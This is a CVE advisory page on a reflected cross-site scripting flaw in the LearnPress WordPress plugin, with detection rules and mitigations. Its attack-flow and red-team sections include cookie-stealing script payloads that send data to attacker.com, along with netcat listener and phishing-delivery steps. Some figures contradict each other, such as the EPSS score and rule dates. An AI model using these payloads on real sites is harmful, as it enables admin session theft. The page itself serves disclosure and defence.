☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Thimpress logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-48865

CVE-2026-48865 Cross-Site Scripting in Thimpress
📅 PUBLISHED: 2026-06-01 15:16 UTC 🔄 UPDATED: 2026-08-18 18:54 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-48865 is a reflected Cross-Site Scripting (XSS) vulnerability in the LearnPress WordPress plugin, developed by ThimPress. The flaw exists in versions from n/a through 4.3.6, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious URL containing JavaScript payloads that, when visited by an authenticated administrator or editor, execute in the context of the WordPress admin panel. This can lead to session hijacking, privilege escalation, or defacement.

Given the widespread use of LearnPress for online course management, this vulnerability poses a significant risk to educational WordPress sites. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the lack of a patch makes it a ticking time bomb.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

LearnPress is distributed via the official WordPress plugin repository and can also be installed via Composer. The vulnerable code resides in the plugin’s core files, specifically in the learnpress directory. No known malicious packages have been reported, but the absence of a patch means that any site running version 4.3.6 or earlier is at risk. Administrators should verify the integrity of their plugin files and consider temporary removal if no update is available.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – The attacker does not need authentication.
  • User Interaction (UI): Required (R) – The victim must click a crafted link.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): Low (L) – Limited impact on availability.

Overall Score: 7.1 (High) – This reflects the ease of exploitation and potential for lateral movement within the WordPress admin context.

Deep Dive & Mechanics

The vulnerability resides in the LearnPress plugin’s handling of URL parameters. Specifically, the plugin fails to sanitize or escape user input before reflecting it in the HTML response. A typical attack vector involves injecting JavaScript into a query parameter such as ?s=<script>alert(1)</script> or ?page=learnpress&tab=<script>...</script>.

The vulnerable code is likely in the plugin’s admin pages or public-facing search functionality. Since LearnPress is a WordPress plugin, the attack surface includes any page that echoes user input without proper escaping using functions like esc_html() or wp_kses().

Attack Flow:

  1. Attacker crafts a URL: https://victim-site.com/wp-admin/admin.php?page=learnpress&tab=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  2. Victim (admin) clicks the link (e.g., via phishing email).
  3. The browser executes the injected script.
  4. The script exfiltrates the admin’s session cookie to the attacker’s server.
  5. Attacker hijacks the admin session and gains full control over the WordPress site.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the fix. The vulnerable code likely looks like:

// Vulnerable code (learnpress/admin/views/settings.php)
echo '<input type="text" name="tab" value="' . $_GET['tab'] . '">';

A patched version would use proper escaping:

// Patched code
echo '<input type="text" name="tab" value="' . esc_attr($_GET['tab']) . '">';

The esc_attr() function encodes special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress site with LearnPress <= 4.3.6 installed.
  • A web server to capture exfiltrated data (e.g., nc -lvnp 8080).

Step 1: Identify vulnerable parameters. Use a browser or Burp Suite to fuzz the LearnPress admin pages for reflected input. Common parameters include tab, s, course_id, and order_id.

Step 2: Craft the payload.

<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>

Step 3: Deliver the URL. Send the crafted URL to an admin via email or social engineering.

Step 4: Capture the cookie. On your listener:

nc -lvnp 8080

When the admin clicks the link, you’ll see the cookie in the request.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for unusual query parameters containing <script> or onerror= patterns.
  • Use a Web Application Firewall (WAF) to block reflected XSS attempts.

Hunting:

  • Search for GET requests to /wp-admin/admin.php with page=learnpress and suspicious tab values.
  • Look for outbound connections from the WordPress server to unknown IPs on port 80/443.

Lab Setup:

  • Use a local WordPress instance with Docker:
docker run --name wp-learnpress -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=example -p 8080:80 -d wordpress
  • Install LearnPress 4.3.6 manually by downloading from the WordPress plugin repository.

Indicators of Compromise (IOCs)

  • URL Patterns: admin.php?page=learnpress&tab=<script>
  • Log Entries: GET /wp-admin/admin.php?page=learnpress&tab=%3Cscript%3E
  • Network Traffic: Outbound HTTP requests to attacker-controlled domains containing ?c= followed by base64-encoded data.
  • File Changes: Unexpected modifications to wp-config.php or new admin users created.

Detection Engineering

YARA Rule

rule CVE_2026_48865_Reflected_XSS_LearnPress {
    meta:
        description = "Detects reflected XSS attempts against LearnPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-48865"
    strings:
        $xss1 = /page=learnpress.*tab=<script>/
        $xss2 = /page=learnpress.*s=<script>/
        $xss3 = /page=learnpress.*course_id=<script>/
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in LearnPress Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting LearnPress WordPress plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'page=learnpress&tab='
            - 'page=learnpress&s='
        cs-uri-query|re:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-48865 Reflected XSS in LearnPress"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=learnpress"; http_uri; pcre:"/(tab|s|course_id)=<script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the LearnPress plugin until a patch is released.
  2. Implement a Web Application Firewall (WAF) rule to block query strings containing <script> or onerror=.
  3. Educate administrators about phishing attacks that may exploit this vulnerability.

Long-term Fix:

  • Monitor the ThimPress plugin repository for an update (version > 4.3.6).
  • Apply the patch as soon as it becomes available.
  • Consider switching to an alternative LMS plugin if LearnPress remains unpatched.

Workaround:

  • Add the following to .htaccess to block malicious requests:
RewriteEngine On
RewriteCond %{QUERY_STRING} (<script>|onerror=|onload=) [NC]
RewriteRule ^wp-admin/admin.php - [F,L]

Valters IT – DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-48865/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.